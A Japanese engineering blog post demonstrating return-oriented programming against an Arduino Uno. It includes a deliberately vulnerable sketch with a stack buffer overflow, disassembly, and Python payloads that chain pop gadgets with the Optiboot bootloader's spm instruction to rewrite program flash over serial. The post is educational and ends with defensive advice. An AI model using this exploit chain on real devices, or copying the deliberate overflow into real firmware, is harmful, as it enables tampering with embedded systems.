初めまして、DP部の今井です。
バイナリエクスプロイトのROP(Return-oriented programming)をAVRマイコンに対して試してみた話です。
注意:本記事の内容によってトラブルなどが発生した場合でも、当社は一切の責任を負いかねます。また、本情報の悪用はしないでください。
概要
今回はAVRマイコンが乗っているArduino Uno Rev3を使いました。 Arduino IDEで以下のコードを作成しArduino Unoに書き込んだ時、どのように悪用できるでしょうか?
// avr_rop.inoの一部 int LED_PIN = 13; char tmp[0x100]; __attribute__((optimize("O0"))) void win() { // LEDを100msごとに点滅させる処理 } void setup() { Serial.begin(9600); } __attribute__((optimize("O0"))) void loop() { char buf[0x10] = {0}; if(Serial.available() > 0){ int ret = Serial.readBytes(tmp, 0x100); Serial.println("OK"); memcpy(buf, tmp, ret); // Buffer Over Flowの発生 } }
このプログラムは、シリアル通信でデータを読み取り、読み取りを完了するとOKと出力するプログラムです。
そして攻撃者は、ハードウェアにアクセスすることはできずシリアル通信でデータを送信できるものとします。そして、フラッシュメモリ内のプログラムバイナリを(なぜか)持っているとします。
完全なソースコードや関連ファイルは以下のリンクからダウンロードできます。
環境
Arduino Uno Rev3
Arduino IDE 2.3.2(avr-gcc version:7.3.0)
Atmega328pのFuse High Byte,Lockの値(初期値)
Lock bit: 0xcf
脆弱性
脆弱性は明らかです。 loop関数内の、シリアル通信で最大0x100byteのデータの読み込み→tmp配列に保存→それをスタック上のサイズ0x10のbuf配列に保存 の箇所で、Stack Buffer Over Flowが発生します。
さて、このBuffer Over Flowで何ができるでしょうか? Stack上のreturn addressを書き換えることで、LEDを点滅させるwin関数を呼び出せそうであることは分かると思います。
攻撃が成功するかどうかは環境依存ですが、フラッシュメモリ(プログラムが保存されている電源を落としても消えない領域)を書き換えることや任意プログラムの実行ができてしまいます。 任意プログラムの実行はフラッシュメモリの書き換えの応用(プログラムをフラッシュメモリに書き込むだけ)であるため、本記事ではフラッシュメモリの書き換えをゴールとして説明したいと思います。
AVRアーキテクチャについて
簡単にAVRアーキテクチャについて説明します。
メモリ
AVRはハーバードアーキテクチャを採用しており、プログラムはProgram Memoryという名のフラッシュメモリ(以降Program Memoryと呼ぶ)に保存され、プログラム実行時に書き換える必要のあるデータはData Memoryという名のSRAMに保存されます。 Data Memoryはスタック領域として使われたりレジスタがマッピングされていますが、実行不可能な領域です。
Data Memoryは実行不可能な領域なので、Stack上のBuffer Over Flowの脆弱性があったとしても、Stack上にshellcodeを配置してshellcodeを実行させることはできません。 なので、AVRでStack Buffer Over Flowの脆弱性を突くためにはROPを使う必要があります。
レジスタ
AVRには8bitのgeneral purposeレジスタが32個(R0-R31)、stack pointerの上位1byteと下位1byteを保持するSPH, SPLレジスタなどがあります。
関数呼び出しに関して
関数呼び出し時は、x86と同様にreturn addressがスタック上にpushされます。
具体的には、word address(1word = 2byte)の上位byte, 下位byteの順番にpushされます。
例えば、return addressが0x1234の場合、word addressは0x091a( = 0x1234/2)なので、push 0x09; push 0x1a;
の後に関数の処理が実行されます。
return addressを書き換えてみる
ROPの前に、Stack Buffer Over Flowの脆弱性を使うことでreturn addressの書き換えができることを確かめてみます。
まずbuf変数の先頭アドレスとreturn addressの上位byteのアドレス差を求めます。
loop関数の逆アセンブル結果の主要部分は以下の通りです。
$ avr-objdump --demangle -d ./avr_rop.ino.elf ... 00000730 <loop>: 730: cf 93 push r28 732: df 93 push r29 734: cd b7 in r28, 0x3d #スタックポインタの上位byteをR28に保存 736: de b7 in r29, 0x3e 738: 62 97 sbiw r28, 0x12 # R28 -= 0x12 73a: 0f b6 in r0, 0x3f 78e: ce 01 movw r24, r28 # R24 = R28 ... 790: 03 96 adiw r24, 0x03 # R24 += 3 792: a9 01 movw r20, r18 794: 6a e1 ldi r22, 0x1A 796: 71 e0 ldi r23, 0x01 798: 0e 94 b5 04 call 0x96a ; 0x96a <memcpy> # 第一引数のbufのアドレスは上位byteはR25、下位byteはR24で指定
注意点として、AVRのスタックポインタは次に使用されるStackのフリーなメモリアドレスを指しています。(x86のスタックポインタは使用しているスタックエリアの先頭を指しています)
なので、以下の図のようにbufの先頭アドレスとreturn addressの上位byteのアドレス差は0x12byteであると分かります。
win関数は0x7aeに存在しているので、return addressをwin関数に書き換えるコードは以下のようになります。
これを実行しreturn addressの書き換えが成功すると、LEDが100msごとにチカチカします。
import serial import struct win_addr = 0x7ae s = serial.Serial("/dev/ttyACM0", 9600) payload = b"A" * 0x12 payload += struct.pack('>h', win_addr // 2) # wordアドレスをHigh,Lowの順に変換 s.write(payload) s.close()
Program Memory領域の書き換え
Program Memoryに書き込む命令
avr_rop.inoのコード内で行っている変数の読み書きの処理は、全てData Memory内で読み書きを行っています。
AVRでは、Program Memoryにデータを書き込むためにはspm
という特別な命令を使用する必要があります。 この命令はProgram Memoryを消去したり、Data Memory→Program Memoryへとデータを転送する際に使う命令です。
avr_rop.ino.elf
内にspm
命令が存在するか確認してみましょう。
$ avr-objdump -d avr_rop.ino.elf | grep spm $ # 出力無し
残念ながらspm
命令が存在しませんでした。。。
avr_rop.ino.elf内にはspm
命令は存在しませんでしたが、他のProgram Memory領域はどうでしょうか?
Arduino IDEでプログラムを作成した経験のある方ならご存じかと思いますが、ArduinoのAtmega328pにはブートローダーのプログラムが書き込まれています。デフォルトのブートローダーはシリアル通信でやってきたデータをProgram Memoryに書き込む機能を持っています。
Program Memoryに書き込む...なんだかブートローダーのプログラム内にはspm
命令が存在しそうですよね。
Program Memory内のブートローダーの確認
ブートローダーの開始アドレスはFuse High Byteで設定されます。
今回はAtmega328pのFuse High Byte値は0xd6なのでTable 27-6によりBOOTSZ0, BOOTSZ1共に1です。
Table 26-7によりブートローダーは0x3F00 - 0x3FFFに配置されると書いてます。このアドレスはword addressなので、実際のアドレスは0x7E00 - 0x7FFFとなります。
avrdudeと激安プログラマのusbaspでProgram Memoryをダンプしました。ダンプ結果のファイルはflash_dump.bin
です。
$ avrdude -c usbasp -p m328p -U flash:r:flash_dump.bin:r
ダンプしたデータを見ると、0x7E00~0x7FFFまで11 24 84 B7... と何かプログラムのようなデータが書き込まれています。これがブートローダーのようです。
このデータについて調べたところ、Atmega328用のOptibootというブートローダーのようでした。
Optiboot
Optibootはシリアル通信でやってくるデータをSTK500プロトコルに沿って処理します。OptibootにはSTK500プロトコルに定義されている、Program Memoryを書き換えるコマンドも実装されています。
OptibootのソースコードとAtmega328用のOptibootの逆アセンブル結果はそれぞれoptiboot.cとoptiboot_atmega328.lstです。
これらはArduinoのアプリフォルダ内に存在していました。
逆アセンブル結果のoptiboot_atmega328.lstを見ると、アドレス0x7E00から11 24 84 B7... とデータが並んでいて、ダンプファイル(flash_dump.bin)の0x7E00から始まるデータはOptibootで間違いなさそうです。
そして、optiboot_atmega328.lstを見ると、Program Memoryを操作するspm
命令が存在しています!
spm命令とrop gadget
spm命令はProgram Memoryを消去したり書き込んだりできる強力な命令且つ複数の機能を持つ命令なので、spm命令を使用する際はデータシートに書かれてある手順に従う必要があります。
Program Memoryへデータを書き込む手順について簡単に説明します。 spm命令のどの機能が使用されるかはSPMCSRというレジスタの値で決定されます。
Program Memoryへデータを書き込むには、temporary page bufferというバッファに一度書き込みたいデータを書き込む必要があります。
temporary page bufferに書きこむには、書き込むアドレスをr31:r30レジスタ、書き込む値をr1:r0レジスタに保存し、SPMCSRレジスタを1に設定し(Bit 0のSELFPRGENのみ有効化)、SPMCSRレジスタ操作後4クロック以内にspm命令を実行します。
temporary page bufferのデータをProgram Memoryへ書きこむには、書き込むアドレスをr31:r30レジスタに保存し、SPMCSRレジスタを5に設定し(Bit 0のSELFPRGENとBit 2のPGWRTを有効化)、SPMCSRレジスタ操作後4クロック以内にspm命令を実行します。
このような2つのspm命令の操作を行える命令列をOptibootのコードで探したところ、以下の命令列が使えそうです。
7f1c: fa 01 movw r30, r20 # 書き込むアドレスをr20:r21→r30:r31へ代入 7f1e: 0c 01 movw r0, r24 # 書き込む値をr24:r25→r0:r1へ代入 7f20: 87 be out 0x37, r8 # r8レジスタの値をSPMCSRレジスタに設定 7f22: e8 95 spm # temporary page bufferへ書き込む 7f24: 11 24 eor r1, r1 7f26: 4e 5f subi r20, 0xFE 7f28: 5f 4f sbci r21, 0xFF 7f2a: f1 e0 ldi r31, 0x01 7f2c: a0 38 cpi r26, 0x80 7f2e: bf 07 cpc r27, r31 7f30: 51 f7 brne .-44 ; 0x7f06 <main+0x106> 7f32: f6 01 movw r30, r12 # 書き込むアドレスをr12:r13→r30:r31へ代入 7f34: a7 be out 0x37, r10 # r10レジスタの値をSPMCSRレジスタに設定 7f36: e8 95 spm # Program Memoryへ書き込む
SPMCSRレジスタはData Memoryのアドレス0x57に存在しており、out 0x37, r8
でr8レジスタの値をSPMCSRレジスタに設定できます。
r13:r12とr21:r20に書き込むアドレス値、r25:r24に書き込む値、r26に0x80、r27に0x1を設定した状態で0x7f1cから始まる命令列を実行すると、0x7f20の命令でSPMCSRレジスタに1を設定し0x7f22のspm命令でtemporary page bufferへ書き込む、0x7f34の命令でSPMCSRレジスタに5を設定し0x7f36のspm命令でProgram Memoryへ書き込むことができます。
各レジスタへの値の代入は、以下のようなレジスタをまとめてpop する処理が割り込みハンドラの関数内に多数存在しているので、これをrop gadgetとして使うことができます。
以上のことをまとめて、例えばProgram Memoryのアドレス0x6000から2byteを0x1337を書き換えるコードは以下のようになります。
import serial import struct s = serial.Serial("/dev/ttyACM0", 9600) pop_r13_r12_r11_r10_r9_r8_ret = 0x02c0 pop_r27_r26_r25_r24_r23_r22_r21_r20_r19_r18_r0_r0_r1_ret = 0x06ae spm = 0x7f1c write_address = 0x6000 write_value = 0x1337 payload = b'A'*0x12 payload += struct.pack('>h', pop_r13_r12_r11_r10_r9_r8_ret // 2) payload += struct.pack('B', write_address >> 8) # r13 (write address H) payload += struct.pack('B', write_address & 0xff) # r12 (write address L) payload += struct.pack('B', 0x00) # r11 payload += struct.pack('B', 0x05) # r10 (SELFPRGEN|PGWRT) payload += struct.pack('B', 0x00) # r9 payload += struct.pack('B', 0x01) # r8 (SELFPRGEN) payload += struct.pack('>h', pop_r27_r26_r25_r24_r23_r22_r21_r20_r19_r18_r0_r0_r1_ret // 2) payload += struct.pack('B', 0x01) # r27 payload += struct.pack('B', 0x80) # r26 payload += struct.pack('B', write_value & 0xff) # r25 (write data L) payload += struct.pack('B', write_value >> 8) # r24 (write data H) payload += struct.pack('B', 0x00) # r23 payload += struct.pack('B', 0x00) # r22 payload += struct.pack('B', write_address >> 8) # r21 (write address H) payload += struct.pack('B', write_address & 0xff) # r20 (write address L) payload += struct.pack('B', 0x00) # r19 payload += struct.pack('B', 0x00) # r18 payload += struct.pack('B', 0x00) # r0 payload += struct.pack('B', 0x00) # r0 payload += struct.pack('B', 0x00) # r1 payload += struct.pack('>h', spm // 2) s.write(payload) ret = s.read(2) print(ret) s.close()
実行後のProgram Memoryをダンプしてみると、画像のようにアドレス0x6000,0x6001が書き換えられていました。
おわりに
今回は、AVRマイコンのAtmega328に対してBuffer Over Flowの脆弱性を悪用しROPを行うことでProgram Memoryを書き換えることを試しました。
Program Memory中の2byteだけ書き換える例を紹介しましたが、Optibootのコード内にはwatchdogタイマーを設定するrop gadgetが存在しているため、Atmega328を再起動させながらProgram Memoryを連続的に書き換える攻撃も可能だと思います。
攻撃が成功するかどうかは環境依存と書きましたが、spm命令がプログラム中に存在しない場合や 、そもそもLock Bitでspm命令の使用が禁止されているとProgram Memoryを書き換える攻撃は失敗します。
組み込み機器のプログラミングでは、ソフトウェアのセキュリティ対策としてセキュアにプログラムを書くことと、AVRのLock Bitのようなハードウェアのセキュリティ機構も利用するべきだと感じました。